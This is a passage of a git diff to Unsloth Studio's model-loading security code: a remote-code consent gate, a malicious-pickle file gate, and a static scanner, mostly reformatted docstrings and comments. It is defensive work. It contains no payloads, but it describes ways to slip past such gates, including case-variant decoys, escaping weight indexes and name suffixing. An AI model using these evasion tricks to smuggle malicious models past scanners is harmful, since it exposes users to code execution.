LOADER's property, decided upstream by the caller's ``is_gguf``- check, not here. Every path that reaches this helper (export, training, non-GGUF- inference) loads via ``from_pretrained``, which imports ``auto_map`` even for a- ``.gguf``-only repo, so a GGUF-classified repo id MUST still be scanned. Only a direct- ``.gguf`` FILE reference is inert (a genuine single-file llama.cpp load).+ """Whether any config (model/tokenizer/processor) declares an ``auto_map`` the load would execute. Reads raw JSON with ``hf_token``; returns None when a config is unreadable (transient/auth) so the caller treats it as "unknown" and scans, False when the repo genuinely ships none.++ GGUF-inertness is the LOADER's property, decided upstream by the caller's ``is_gguf`` check, not here. Every path that reaches this helper (export, training, non-GGUF inference) loads via ``from_pretrained``, which imports ``auto_map`` even for a ``.gguf``-only repo, so a GGUF-classified repo id MUST still be scanned. Only a direct ``.gguf`` FILE reference is inert, a genuine single-file llama.cpp load."""- # A direct .gguf FILE loads via llama.cpp (auto_map inert); a bare repo id ending in .gguf can- # still ship safetensors + auto_map, so it falls through to the scan.+ # A direct .gguf FILE loads via llama.cpp (auto_map inert); a bare repo id ending in .gguf can still ship safetensors + auto_map, so it falls through to the scan.if _is_direct_gguf_file_ref(model_name):return Falseconfigs = _load_remote_code_configs(model_name, hf_token, load_subdirs = load_subdirs)@@ -104,11 +80,7 @@ def _config_has_auto_map(def _is_direct_gguf_file_ref(model_name: str) -> bool:- """Whether ``model_name`` names a specific ``.gguf`` FILE (llama.cpp), not a repo:- a local ``.gguf`` path or a remote ``org/repo/.../file.gguf`` (>= 2 slashes). A bare- ``org/name.gguf`` is a repo id that can still ship safetensors + auto_map, so it- falls through to the scan.- """+ """Whether ``model_name`` names a specific ``.gguf`` FILE (llama.cpp) rather than a repo: a local ``.gguf`` path or a remote ``org/repo/.../file.gguf`` (>= 2 slashes). A bare ``org/name.gguf`` is a repo id that can still ship safetensors + auto_map, so it falls through to the scan."""name = model_name or ""if not name.lower().endswith(".gguf"):return False@@ -128,11 +100,7 @@ def _load_remote_code_configs(*,load_subdirs = (),) -> Optional[list]:- """Read every config that can declare ``auto_map`` (model/tokenizer/processor) as- raw dicts. Returns the configs present (``[]`` when all 404, a definitive "no- auto_map"), or None when one is unreadable (transient/auth) so the caller scans.- The 404-vs-error split matters: real absence is "allow"; unreadable is "unknown".- """+ """Read every config that can declare ``auto_map`` (model/tokenizer/processor) as raw dicts. Returns the configs present (``[]`` when all 404, a definitive "no auto_map"), or None when one is unreadable (transient/auth) so the caller scans. The 404-vs-error split matters: real absence is "allow", unreadable is "unknown"."""import jsonfrom pathlib import Path@@ -187,9 +155,7 @@ def evaluate_remote_code_consent(trusted_org: Optional[bool] = None,subject: Optional[str] = None,) -> RemoteCodeDecision:- """Single-repo consent; thin wrapper over the for_targets form. ``trusted_org`` is- accepted for backward compatibility but no longer changes the decision.- """+ """Single-repo consent; thin wrapper over the for_targets form. ``trusted_org`` is accepted for backward compatibility but no longer changes the decision."""return evaluate_remote_code_consent_for_targets([model_name],hf_token,@@ -224,17 +190,9 @@ def evaluate_remote_code_consent_for_targets(subject: Optional[str] = None,load_subdirs_by_target = None,) -> RemoteCodeDecision:- """Decide whether a ``trust_remote_code=True`` load may proceed, over every repo whose- code the load would execute. A LoRA load runs adapter AND base code, so all targets- are scanned as ONE unit and pinned by ONE fingerprint over the union of their ``.py``- -- one approval covers every repo, and a base-only fingerprint can't leave an- adapter's own ``auto_map`` unreviewed. On ``blocked``, the caller surfaces- ``response_payload()`` and retries with ``approved_fingerprint`` if the user accepts.-- When ``subject`` is given, a prior approval by that user can skip the DIALOG (never the- scan): the stored fingerprint seeds the authoritative content check below, so an- unchanged repo auto-approves while any change re-prompts. A genuine approval is- recorded for next time.+ """Decide whether a ``trust_remote_code=True`` load may proceed, over every repo whose code the load would execute. A LoRA load runs adapter AND base code, so all targets are scanned as ONE unit and pinned by ONE fingerprint over the union of their ``.py``: one approval covers every repo, and a base-only fingerprint cannot leave an adapter's own ``auto_map`` unreviewed. On ``blocked``, the caller surfaces ``response_payload()`` and retries with ``approved_fingerprint`` if the user accepts.++ When ``subject`` is given, a prior approval by that user can skip the DIALOG (never the scan): the stored fingerprint seeds the authoritative content check below, so an unchanged repo auto-approves while any change re-prompts. A genuine approval is recorded for next time."""targets = [t for t in dict.fromkeys(targets) if t]primary = targets[0] if targets else ""@@ -244,10 +202,7 @@ def evaluate_remote_code_consent_for_targets(primary, False, False, None, None, "", "trust_remote_code disabled")- # Persistent per-user approval seeds the stored fingerprint so the scan below auto-approves an- # unchanged repo, skipping the prompt but never the scan. Gated so it cannot weaken the scan:- # the approval must match the current ruleset and a resolvable commit SHA the approved revision.- # The fingerprint and the CRITICAL block still apply.+ # Persistent per-user approval seeds the stored fingerprint so the scan below auto-approves an unchanged repo, skipping the prompt but never the scan. Gated so it cannot weaken the scan: the approval must match the current ruleset and a resolvable commit SHA the approved revision, and the fingerprint and the CRITICAL block still apply.caller_approved_fingerprint = approved_fingerprintif subject:from utils.security import remote_code_approvals@@ -259,9 +214,7 @@ def evaluate_remote_code_consent_for_targets(if _sha is None or _sha == _stored.commit_sha:approved_fingerprint = approved_fingerprint or _stored.fingerprint- # Gather executable .py from every target that ships auto_map. A definitively auto_map-free- # target contributes nothing; an unreadable config is scanned anyway. If ANY target's code is- # present but unscannable, fail the whole load closed.+ # Gather executable .py from every target that ships auto_map. A definitively auto_map-free target contributes nothing, an unreadable config is scanned anyway, and if ANY target's code is present but unscannable the whole load fails closed.combined: dict = {}has_remote_code = Falseload_subdirs_by_target = load_subdirs_by_target or {}@@ -331,8 +284,7 @@ def evaluate_remote_code_consent_for_targets(# HIGH is user-approvable but must pin the fingerprint via the dialog.blocked, reason = True, "blocked: scan found HIGH patterns; approval required"elif sev == MEDIUM:- # MEDIUM (e.g. a big embedded base64 blob) also pins approval like HIGH, so a direct API caller- # can't run flagged code by just setting trust_remote_code=True.+ # MEDIUM (e.g. a big embedded base64 blob) also pins approval like HIGH, so a direct API caller cannot run flagged code by just setting trust_remote_code=True.blocked, reason = True, "blocked: scan found MEDIUM patterns; approval required"else:blocked, reason = False, "allowed: no high-risk patterns"@@ -345,8 +297,7 @@ def evaluate_remote_code_consent_for_targets(fingerprint[:12],)- # Persist a genuine user approval (a matching fingerprint from the caller, not a cache seed)- # under the current scanner version, so the repo is not re-prompted until code or ruleset changes.+ # Persist a genuine user approval (a matching fingerprint from the caller, not a cache seed) under the current scanner version, so the repo is not re-prompted until code or ruleset changes.if approved and subject and caller_approved_fingerprint == fingerprint:from utils.security import remote_code_approvalsremote_code_approvals.record(diff --git a/studio/backend/utils/security/file_security.py b/studio/backend/utils/security/file_security.pyindex 23af4b0c497..ade8ceea913 100644--- a/studio/backend/utils/security/file_security.py+++ b/studio/backend/utils/security/file_security.py@@ -1,34 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Malware / unsafe-file gate for model loads.--The ``trust_remote_code`` consent gate covers the ``auto_map`` Python vector; this-covers the other one -- a malicious pickle inside a weight file, which executes-during ``from_pretrained`` deserialization even with ``trust_remote_code=False``.-It reads Hugging Face's OWN scan (picklescan + ClamAV) via-``model_info(securityStatus=True).security_repo_status``. METADATA-ONLY: it never-downloads, opens, or unpickles the flagged files.--Policy:- * Hard block, non-approvable.- * Block whenever ``filesWithIssues`` lists a non-``safe`` level, regardless of- ``scansDone`` (often false even for clean repos). Unknown/future levels fail- CLOSED (block) so Hub schema drift cannot silently allow a bad verdict; only a- small allowlist of clean / not-yet-scanned levels is non-blocking. An unavailable- status falls back to local inspection for a pinned cache snapshot and otherwise- fails open.- * Scope to the load-path RCE vector: a root-level (or load-subdir-level),- code-executing file. Inert formats (safetensors / gguf / config / text) and- subdirectory pickles that no root weight-index references are NOT loaded, so- they do not block; an index-referenced shard does, wherever it lives. This- blocks real malware (eicar's root ``*.pkl``/``*.dat``) without false-blocking- repos like ``nvidia/Nemotron-H-8B-Base-8K`` (flagged NeMo pickles under- ``nemo/`` that no index lists).- * No first-party exemption (scoping is by load path/format, not org).- * Local paths are skipped (no Hub scan); a remote ``*.gguf``-named repo is still- scanned so a repo cannot dodge the gate by suffixing its name.-"""+"""Malware / unsafe-file gate for model loads. The ``trust_remote_code`` consent gate covers the ``auto_map`` Python vector; this covers the other one, a malicious pickle inside a weight file, which executes during ``from_pretrained`` deserialization even with ``trust_remote_code=False``. It reads Hugging Face's OWN scan (picklescan + ClamAV) via ``model_info(securityStatus=True).security_repo_status``. METADATA-ONLY: it never downloads, opens, or unpickles the flagged files. Policy: a hard, non-approvable block whenever ``filesWithIssues`` lists a non-``safe`` level, regardless of ``scansDone`` (often false even for clean repos); unknown/future levels fail CLOSED so Hub schema drift cannot silently allow a bad verdict, and only a small allowlist of clean / not-yet-scanned levels is non-blocking, while an unavailable status falls back to local inspection for a pinned cache snapshot and otherwise fails open. Scoped to the load-path RCE vector: a root-level (or load-subdir-level) code-executing file, since inert formats (safetensors / gguf / config / text) and subdirectory pickles that no root weight-index references are not loaded and do not block, while an index-referenced shard does, wherever it lives. That blocks real malware (eicar's root ``*.pkl``/``*.dat``) without false-blocking repos like ``nvidia/Nemotron-H-8B-Base-8K`` (flagged NeMo pickles under ``nemo/`` that no index lists). No first-party exemption (scoping is by load path/format, not org), and local paths are skipped (no Hub scan) while a remote ``*.gguf``-named repo is still scanned so a repo cannot dodge the gate by suffixing its name."""import refrom dataclasses import dataclass, field@@ -39,8 +12,7 @@ from loggers import get_loggerlogger = get_logger(__name__)-# Pickle-format weight files (plain or sharded) that execute code on load; safetensors/gguf are-# inert. Grouped by weight family so an inert safetensors only suppresses the pickle it replaces.+# Pickle-format weight files (plain or sharded) that execute code on load; safetensors/gguf are inert. Grouped by weight family so an inert safetensors only suppresses the pickle it replaces._PICKLE_WEIGHT_RE = re.compile(r"^(model|pytorch_model|adapter_model|consolidated)(-\d+-of-\d+)?"r"\.(bin|pt|pth|ckpt|pkl|pickle)$",@@ -75,14 +47,11 @@ _INERT_SUFFIXES = frozenset(})-# Source files are not deserialized by a weight load; executable repo code runs only via-# auto_map, the consent gate's domain, else a flagged helper/train script would false-block.+# Source files are not deserialized by a weight load; executable repo code runs only via auto_map, the consent gate's domain, else a flagged helper/train script would false-block._SOURCE_SUFFIXES = frozenset({".py", ".pyc", ".pyx", ".pyi"})-# Torch-family weight indexes: from_pretrained feeds each shard they name to load_state_dict,-# which torch.load()s (pickle) any shard not ending in .safetensors. A pytorch index is-# superseded by a base safetensors; a safetensors index IS the chosen archive. tf/flax are inert.+# Torch-family weight indexes: from_pretrained feeds each shard they name to load_state_dict, which torch.load()s (pickle) any shard not ending in .safetensors. A pytorch index is superseded by a base safetensors; a safetensors index IS the chosen archive. tf/flax are inert._TORCH_INDEX_FILES = ("pytorch_model.bin.index.json", "model.safetensors.index.json")# Root weight-index files: a flagged subdir pickle is a load vector iff a root index names it.@@ -109,12 +78,7 @@ def _file_suffix(path: str) -> str:def _hf_cache_snapshot_ref(local_path: str) -> Optional[tuple[str, str, Path]]:- """Return provenance for an HF-cache snapshot path, else ``None``.-- An inactive Unsloth cache loads by its snapshot path but keeps the- ``models--org--repo/snapshots/<rev>`` layout, so the gate recovers its provenance- and scans that exact commit instead of exempting it.- """+ """Return provenance for an HF-cache snapshot path, else ``None``. An inactive Unsloth cache loads by its snapshot path but keeps the ``models--org--repo/snapshots/<rev>`` layout, so the gate recovers its provenance and scans that exact commit instead of exempting it."""try:path = Path(local_path).resolve(strict = False)except (OSError, ValueError):@@ -134,11 +98,7 @@ def _hf_cache_snapshot_ref(local_path: str) -> Optional[tuple[str, str, Path]]:def _load_relative_path(norm: str, load_subdirs) -> str:- """``norm`` relative to a ``from_pretrained`` load root. Some loads read from a- snapshot SUBDIRECTORY (Spark-TTS / BiCodec load ``<snapshot>/LLM``), where a file- directly under the subdir is root-level, not nested. Strips the matching load-subdir- prefix, or returns ``norm`` unchanged when it is not under one.- """+ """``norm`` relative to a ``from_pretrained`` load root. Some loads read from a snapshot SUBDIRECTORY (Spark-TTS / BiCodec load ``<snapshot>/LLM``), where a file directly under the subdir is root-level, not nested. Strips the matching load-subdir prefix, or returns ``norm`` unchanged when it is not under one."""for subdir in load_subdirs or ():prefix = _normalize_repo_path(subdir).strip("/")if prefix and norm.startswith(prefix + "/"):@@ -162,13 +122,7 @@ def _indexed_shard_paths(load_subdirs = (),revision: Optional[str] = None,):- """Repo-relative weight paths a load could fetch via weight-index files. Returns a- set (empty when the repo ships no index files -- a definitive "nothing sharded"), or- None when the lookup was inconclusive (transient error) so the caller treats a- flagged subdir pickle conservatively. Reads only small JSON indexes, never weights.- Indexes are looked up at the root and each ``load_subdirs`` root, with ``weight_map``- entries re-prefixed to repo-relative paths. ``revision`` scopes to a cached commit.- """+ """Repo-relative weight paths a load could fetch via weight-index files. Returns a set (empty when the repo ships no index files, a definitive "nothing sharded") or None when the lookup was inconclusive (transient error) so the caller treats a flagged subdir pickle conservatively. Reads only small JSON indexes, never weights. Indexes are looked up at the root and each ``load_subdirs`` root, with ``weight_map`` entries re-prefixed to repo-relative paths; ``revision`` scopes to a cached commit."""import jsontry:@@ -213,8 +167,7 @@ def _indexed_shard_paths(paths.add(shard_norm)except Exception:inconclusive = True- # Any transient failure -> inconclusive (the shard could be listed only by the index we could- # not read), so fail closed. No index files -> empty set, a definitive "nothing sharded".+ # Any transient failure -> inconclusive (the shard could be listed only by the index we could not read), so fail closed. No index files -> empty set, a definitive "nothing sharded".if inconclusive:return Nonereturn paths@@ -248,14 +201,7 @@ def security_load_subdirs(hf_token: Optional[str] = None,local_files_only: bool = False,) -> tuple:- """Snapshot subdirectories a load calls ``from_pretrained`` on, for scoping the scan.- Most models load from the root (``()``); Spark-TTS / BiCodec load ``<snapshot>/LLM``,- so ``LLM/`` is a load root for them. Metadata-only (tokenizer special tokens), cached.-- ``local_files_only`` skips the remote tokenizer fetch. Callers deciding whether a- cache already on disk is usable must pass it: that work is meant to be pure- filesystem, and a hung hub would otherwise block local snapshot resolution.- """+ """Snapshot subdirectories a load calls ``from_pretrained`` on, for scoping the scan. Most models load from the root (``()``); Spark-TTS / BiCodec load ``<snapshot>/LLM``, so ``LLM/`` is a load root for them. Metadata-only (tokenizer special tokens), cached. ``local_files_only`` skips the remote tokenizer fetch, and callers deciding whether a cache already on disk is usable must pass it: that work is meant to be pure filesystem, and a hung hub would otherwise block local snapshot resolution."""try:from utils.models.model_config import detect_audio_type, load_model_defaultsif (@@ -263,8 +209,7 @@ def security_load_subdirs(== "bicodec"):return ("LLM",)- # Tokenizer detection can fail (network/gated/unresolved alias); the YAML default also pins the- # audio type, so fall back to it, else a flagged LLM/ pickle reads as an ignored subdir artifact.+ # Tokenizer detection can fail (network/gated/unresolved alias); the YAML default also pins the audio type, so fall back to it, else a flagged LLM/ pickle reads as an ignored subdir artifact.if (load_model_defaults(model_name) or {}).get("audio_type") == "bicodec":return ("LLM",)except Exception:@@ -273,11 +218,7 @@ def security_load_subdirs(def load_scan_target(model_name: str, load_subdirs: tuple) -> tuple:- """Map a load alias to the ``(repo_id, load_subdirs)`` the load actually fetches. The- Spark-TTS / BiCodec alias ``<parent>/LLM`` is downloaded by the trainer as- ``unsloth/<parent>`` and loaded from ``LLM/``, so scan that repo with ``LLM`` as a- load root (the literal alias 404s and fails open). Everything else is unchanged.- """+ """Map a load alias to the ``(repo_id, load_subdirs)`` the load actually fetches. The Spark-TTS / BiCodec alias ``<parent>/LLM`` is downloaded by the trainer as ``unsloth/<parent>`` and loaded from ``LLM/``, so scan that repo with ``LLM`` as a load root (the literal alias 404s and fails open). Everything else is unchanged."""try:from utils.paths import is_local_pathif is_local_path(model_name):@@ -302,11 +243,7 @@ def _fetch_security_status(hf_token: Optional[str],revision: Optional[str] = None,):- """``security_repo_status`` (a dict) or None if unavailable. Hub metadata only;- retries once on a transient error, then returns None so the caller can apply its- local-fallback policy. ``revision`` scopes the scan to a specific cached commit- (else the default branch).- """+ """``security_repo_status`` (a dict) or None if unavailable. Hub metadata only; retries once on a transient error, then returns None so the caller can apply its local-fallback policy. ``revision`` scopes the scan to a specific cached commit (else the default branch)."""from huggingface_hub import model_info as hf_model_infotoken_arg = hf_token if hf_token else False@@ -334,10 +271,7 @@ def _fetch_security_status(def _st_load_roots(snapshot: Path, load_subdirs = ()) -> list:- """Directories a SentenceTransformer load deserializes weights from: the snapshot root plus- each module path in modules.json and each explicit ``from_pretrained`` load subdirectory.- Local, no network. Mirrors the online gate (which ignores unreferenced nested pickles the- loader never opens) so the offline gate doesn't over-block."""+ """Directories a SentenceTransformer load deserializes weights from: the snapshot root plus each module path in modules.json and each explicit ``from_pretrained`` load subdirectory. Local, no network. Mirrors the online gate (which ignores unreferenced nested pickles the loader never opens) so the offline gate doesn't over-block."""roots = [snapshot]def _add_repo_root(raw_path: Any) -> None:@@ -380,13 +314,7 @@ def _snapshot_module_subdirs(snapshot: Path) -> tuple[str, ...]:def _indexed_pickle_shards(index_path: Path, root: Path, snapshot: Path) -> list:- """Shards a torch weight index points a ``from_pretrained`` load at that load_state_dict would- torch.load (pickle): every ``weight_map`` target NOT ending in ``.safetensors``, whatever its- stem (an arbitrary name like ``shards/payload`` still deserializes). Resolved relative to the- index dir (``root``) like the loader, so a shard in a nested dir is followed (iterdir misses it).- Lexical only, never ``Path.resolve()`` (HF snapshot files symlink into ``blobs/``, so resolving- escapes the snapshot and false-blocks every shard). Raises OSError -> caller fails CLOSED on an- unreadable/invalid index or a target escaping the snapshot."""+ """Shards a torch weight index points a ``from_pretrained`` load at that load_state_dict would torch.load (pickle): every ``weight_map`` target NOT ending in ``.safetensors``, whatever its stem (an arbitrary name like ``shards/payload`` still deserializes). Resolved relative to the index dir (``root``) like the loader, so a shard in a nested dir is followed (iterdir misses it). Lexical only, never ``Path.resolve()`` (HF snapshot files symlink into ``blobs/``, so resolving escapes the snapshot and false-blocks every shard). Raises OSError -> caller fails CLOSED on an unreadable/invalid index or a target escaping the snapshot."""import jsonimport os@@ -404,36 +332,24 @@ def _indexed_pickle_shards(index_path: Path, root: Path, snapshot: Path) -> listraw = str(shard)if not raw:continue- # Join the RAW weight_map value like from_pretrained's os.path.join: on POSIX a backslash is a- # literal filename char, so normalizing it would probe a different path than the loader opens.+ # Join the RAW weight_map value like from_pretrained's os.path.join: on POSIX a backslash is a literal filename char, so normalizing it would probe a different path than the loader opens.joined = os.path.normpath(os.path.join(str(root), raw))if joined != snapshot_norm and not joined.startswith(snapshot_norm + os.sep):raise OSError(f"weight index escapes the snapshot: {index_path}")shard_path = Path(joined)- # Case-SENSITIVE, mirroring load_state_dict's own endswith(".safetensors"): payload.SAFETENSORS falls to- # torch.load.+ # Case-SENSITIVE, mirroring load_state_dict's own endswith(".safetensors"): payload.SAFETENSORS falls to torch.load.if not shard_path.name.endswith(".safetensors") and shard_path.is_file():shards.append(shard_path)return shardsdef _loader_resolves(root: Path, name: str) -> bool:- """True iff from_pretrained would open ``name`` under ``root``. ``is_file()`` honors the platform- (case-sensitive on Linux, case-insensitive on Windows/macOS), so it mirrors the loader's own- lookup: an oddly-cased decoy counts as an alternative only where the loader would truly open it.- A name-fold instead would let an uppercase MODEL.SAFETENSORS suppress the scan on Linux while the- loader, asking for the canonical lowercase name, silently falls through to a pickle index."""+ """True iff from_pretrained would open ``name`` under ``root``. ``is_file()`` honors the platform (case-sensitive on Linux, case-insensitive on Windows/macOS), so it mirrors the loader's own lookup: an oddly-cased decoy counts as an alternative only where the loader would truly open it. A name-fold instead would let an uppercase MODEL.SAFETENSORS suppress the scan on Linux while the loader, asking for the canonical lowercase name, silently falls through to a pickle index."""return (root / name).is_file()def _cached_pickle_weight_files(snapshot: Path, load_subdirs = ()) -> list:- """Pickle weight files a SentenceTransformer/Transformers load deserializes from snapshot's ST- load roots, EXCLUDING those whose weight family also ships an inert safetensors in the same dir- (the loader prefers it): a base pickle is suppressed only by a base model.safetensors, an adapter- pickle only by adapter_model.safetensors -- an unrelated safetensors is no substitute. Covers- both direct-child pickles AND pickle shards referenced by a local weight index (which the loader- follows into nested dirs, matching the online gate). Raises OSError -- caller fails CLOSED -- if- the snapshot root or a weight index is unreadable, or an index reference escapes the snapshot."""+ """Pickle weight files a SentenceTransformer/Transformers load deserializes from snapshot's ST load roots, EXCLUDING those whose weight family also ships an inert safetensors in the same dir (the loader prefers it): a base pickle is suppressed only by a base model.safetensors, an adapter pickle only by adapter_model.safetensors, and an unrelated safetensors is no substitute. Covers both direct-child pickles AND pickle shards referenced by a local weight index (which the loader follows into nested dirs, matching the online gate). Raises OSError, so the caller fails CLOSED, if the snapshot root or a weight index is unreadable, or an index reference escapes the snapshot."""blocked = []seen = set()@@ -450,9 +366,7 @@ def _cached_pickle_weight_files(snapshot: Path, load_subdirs = ()) -> list:if root == snapshot:raisecontinue- # Safetensors alternatives the loader would actually resolve- # Never a bare name-fold, which fails OPEN. A base pickle is replaced only by a base safetensors, and- # model.safetensors outranks both indexes.+ # Safetensors alternatives the loader would actually resolve, never a bare name-fold, which fails OPEN: a base pickle is replaced only by a base safetensors, and model.safetensors outranks both indexes.has_direct_base_safetensors = _loader_resolves(root, "model.safetensors")has_base_safetensors = has_direct_base_safetensors or _loader_resolves(root, "model.safetensors.index.json"@@ -465,11 +379,7 @@ def _cached_pickle_weight_files(snapshot: Path, load_subdirs = ()) -> list:has_alternative = has_adapter_safetensors if is_adapter else has_base_safetensorsif not has_alternative:_add(path)- # A torch weight index makes from_pretrained load nested shards iterdir never sees, torch.loading- # Probe the canonical index name with the loader's own lookup so an oddly-cased artifact it would never open- # does not block. model.safetensors wins over both.- # any not ending in .safetensors, so probe the canonical index name with the loader's own lookup- # (an oddly-cased artifact it would never open must not block). model.safetensors wins over both.+ # A torch weight index makes from_pretrained load nested shards iterdir never sees, torch.loading any not ending in .safetensors, so probe the canonical index name with the loader's own lookup (an oddly-cased artifact it would never open must not block). model.safetensors wins over both.for index_name in _TORCH_INDEX_FILES:if not _loader_resolves(root, index_name):continue@@ -576,24 +486,11 @@ def evaluate_file_security(load_subdirs = (),local_only_load: bool = False,) -> FileSecurityDecision:- """Block a load when HF's security scan flags unsafe serialized files.-- Call UNCONDITIONALLY before any load (independent of trust_remote_code): a malicious- pickle deserializes during ``from_pretrained`` regardless. Metadata-only; when the- scan is unavailable, exact cached snapshots receive a local fail-closed inspection- while unresolved remote refs remain fail-open.-- ``load_subdirs`` names subdirs the load calls ``from_pretrained`` on (e.g. ``("LLM",)``- for Spark-TTS / BiCodec, loading ``<snapshot>/LLM``): a flagged file directly under one- is root-level there and blocks, and an index inside it is honored when scoping shards.-- ``local_only_load`` marks an offline load and skips the Hub request.- """+ """Block a load when HF's security scan flags unsafe serialized files. Call UNCONDITIONALLY before any load (independent of trust_remote_code): a malicious pickle deserializes during ``from_pretrained`` regardless. Metadata-only; when the scan is unavailable, exact cached snapshots receive a local fail-closed inspection while unresolved remote refs remain fail-open. ``load_subdirs`` names subdirs the load calls ``from_pretrained`` on (e.g. ``("LLM",)`` for Spark-TTS / BiCodec, loading ``<snapshot>/LLM``): a flagged file directly under one is root-level there and blocks, and an index inside it is honored when scoping shards. ``local_only_load`` marks an offline load and skips the Hub request."""# Scan the repo the load actually fetches, not the literal alias (which 404s and fails open).model_name, load_subdirs = load_scan_target(model_name, tuple(load_subdirs))- # Local paths have no Hub scan, EXCEPT an HF-cache snapshot whose canonical path encodes a repo- # id + commit: scan that exact commit so an inactive-cache load can't dodge the gate.+ # Local paths have no Hub scan, EXCEPT an HF-cache snapshot whose canonical path encodes a repo id + commit: scan that exact commit so an inactive-cache load can't dodge the gate.snapshot_revision = Noneselected_snapshot = Nonetry:@@ -641,10 +538,7 @@ def evaluate_file_security(load_subdirs = load_subdirs,)- # Block a non-``safe`` flagged file scoped to the load-path RCE vector- # Not gated on ``scansDone`` (often false even when clean), and unknown levels fail closed. Subdir pickles and inert- # formats are not loaded by from_pretrained and do not block; an unavailable status is fail-open only for an- # unresolved remote ref.+ # Block a non-``safe`` flagged file scoped to the load-path RCE vector. Not gated on ``scansDone`` (often false even when clean), and unknown levels fail closed. Subdir pickles and inert formats are not loaded by from_pretrained and do not block; an unavailable status is fail-open only for an unresolved remote ref.unsafe = []skipped = []maybe_shard = []@@ -673,8 +567,7 @@ def evaluate_file_security(model_name, hf_token, load_subdirs, revision = snapshot_revision)for m in maybe_shard:- # Block if a root index lists this shard, or if the lookup was inconclusive. A definitive- # "no index / not listed" stays non-blocking (e.g. NeMo nemo/*.distcp).+ # Block if a root index lists this shard, or if the lookup was inconclusive. A definitive "no index / not listed" stays non-blocking (e.g. NeMo nemo/*.distcp).if indexed is None or m["norm"] in indexed:unsafe.append({"path": m["path"], "level": m["level"]})else:diff --git a/studio/backend/utils/security/remote_code_scan.py b/studio/backend/utils/security/remote_code_scan.pyindex 0e69b2a5892..ccd94d55301 100644--- a/studio/backend/utils/security/remote_code_scan.py+++ b/studio/backend/utils/security/remote_code_scan.py@@ -1,22 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Static scan of a model's ``auto_map`` remote code, for the consent gate.--When a user opts into ``trust_remote_code``, the repo's ``auto_map`` Python-(``modeling_*.py`` etc.) is scanned BEFORE execution and suspicious patterns are-surfaced to inform consent. A warning aid, not a hard boundary: a determined-attacker can obfuscate past regexes, so the job is to raise the bar and inform the-hash-pinned consent. Containment (subprocess/venv) is separate; execution still-requires opt-in.--Single source of truth: ``scripts/scan_packages.py`` (the scanner CI runs via-``security-audit.yml``). We import its ``check_py_file`` so the gate inherits every-CI improvement with no drift; its heuristics are deliberately low-false-positive-(combinations flag, not bare ``subprocess``/``eval``). When ``scripts/`` is absent-(stripped install) we fall back to ``_FALLBACK_PATTERNS`` below; a test asserts the-canonical scanner loads in-repo so the fallback never silently takes over.-"""+"""Static scan of a model's ``auto_map`` remote code, for the consent gate. When a user opts into ``trust_remote_code``, the repo's ``auto_map`` Python (``modeling_*.py`` etc.) is scanned BEFORE execution and suspicious patterns are surfaced to inform consent. A warning aid, not a hard boundary: a determined attacker can obfuscate past regexes, so the job is to raise the bar and inform the hash-pinned consent, while containment (subprocess/venv) is separate and execution still requires opt-in. Single source of truth: ``scripts/scan_packages.py`` (the scanner CI runs via ``security-audit.yml``), whose ``check_py_file`` is imported so the gate inherits every CI improvement with no drift; its heuristics are deliberately low-false-positive (combinations flag, not bare ``subprocess``/``eval``). When ``scripts/`` is absent (stripped install) we fall back to ``_FALLBACK_PATTERNS`` below; a test asserts the canonical scanner loads in-repo so the fallback never silently takes over."""from __future__ import annotations@@ -43,14 +28,10 @@ HIGH = "HIGH"MEDIUM = "MEDIUM"_SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2}-# Bump on any ruleset change (patterns, severities). A persisted approval records the version-# it was scanned under; the consent cache ignores older-ruleset approvals so the same bytes-# are re-scanned and re-shown instead of silently auto-approved.+# Bump on any ruleset change (patterns, severities). A persisted approval records the version it was scanned under; the consent cache ignores older-ruleset approvals so the same bytes are re-scanned and re-shown instead of silently auto-approved.SCAN_RULES_VERSION = 1-# Configs that can carry an ``auto_map`` pointing at executable repo ``.py``.-# ``trust_remote_code`` runs code from ANY of these, so scanner and gate must read the same set: scanning only-# config.json/tokenizer would miss a custom-processor VLM.+# Configs that can carry an ``auto_map`` pointing at executable repo ``.py``. ``trust_remote_code`` runs code from ANY of these, so scanner and gate must read the same set: scanning only config.json/tokenizer would miss a custom-processor VLM.REMOTE_CODE_CONFIG_FILES = ("config.json","tokenizer_config.json",@@ -78,18 +59,10 @@ def remote_code_config_paths(load_subdirs = ()) -> tuple[str, ...]:class RemoteCodeUnscannable(Exception):- """The repo's executable code could not be fully fetched/listed to scan.+ """The repo's executable code could not be fully fetched/listed to scan. Raised (not returned empty) so the gate distinguishes "code PRESENT but unreadable" (offline/gated/transient/404/listing failure), which fails CLOSED, from "repo has NO .py" (empty result), where trust_remote_code is a no-op and the load is allowed. Conflating them would block a code-free repo or fail open on code we could not see."""- Raised (not returned empty) so the gate distinguishes "code PRESENT but unreadable"- (offline/gated/transient/404/listing failure) -> fail CLOSED, from "repo has NO .py"- (empty result) -> trust_remote_code is a no-op -> allow. Conflating them would block- a code-free repo or fail open on code we could not see.- """--# Fallback patterns (used only if scripts/scan_packages.py is absent): (regex, check,-# severity). A flat subset of the canonical scanner so a stripped install still scans;-# the canonical scanner (imported below) supersedes it whenever the repo is present.+# Fallback patterns (used only if scripts/scan_packages.py is absent): (regex, check, severity). A flat subset of the canonical scanner so a stripped install still scans; the canonical scanner (imported below) supersedes it whenever the repo is present._FALLBACK_PATTERNS: tuple[tuple[re.Pattern, str, str], ...] = ((re.compile(@@ -208,8 +181,7 @@ class Finding:filename: strcheck: strevidence: str = ""- # 1-based match line + surrounding code window (see _attach_location). For the UI;- # None/[] when unlocatable.+ # 1-based match line + surrounding code window (see _attach_location). For the UI; None/[] when unlocatable.line: Optional[int] = Nonesnippet: list = field(default_factory = list)@@ -256,9 +228,7 @@ class ScanResult:]-# Canonical scanner: import scripts/scan_packages.py by file path (scripts/ is not an-# importable package from the backend root). It imports only stdlib at module level and-# guards its CLI under __main__, so importing it is side-effect-free.+# Canonical scanner: import scripts/scan_packages.py by file path (scripts/ is not an importable package from the backend root). It imports only stdlib at module level and guards its CLI under __main__, so importing it is side-effect-free._CANON_SENTINEL = object()_canon_cache = _CANON_SENTINEL@@ -270,7 +240,6 @@ def _load_canonical_scanner():return _canon_cachemodule = None- # Walk up from this file to a repo root that contains scripts/scan_packages.py.here = pathlib.Path(__file__).resolve()for parent in here.parents:candidate = parent / "scripts" / 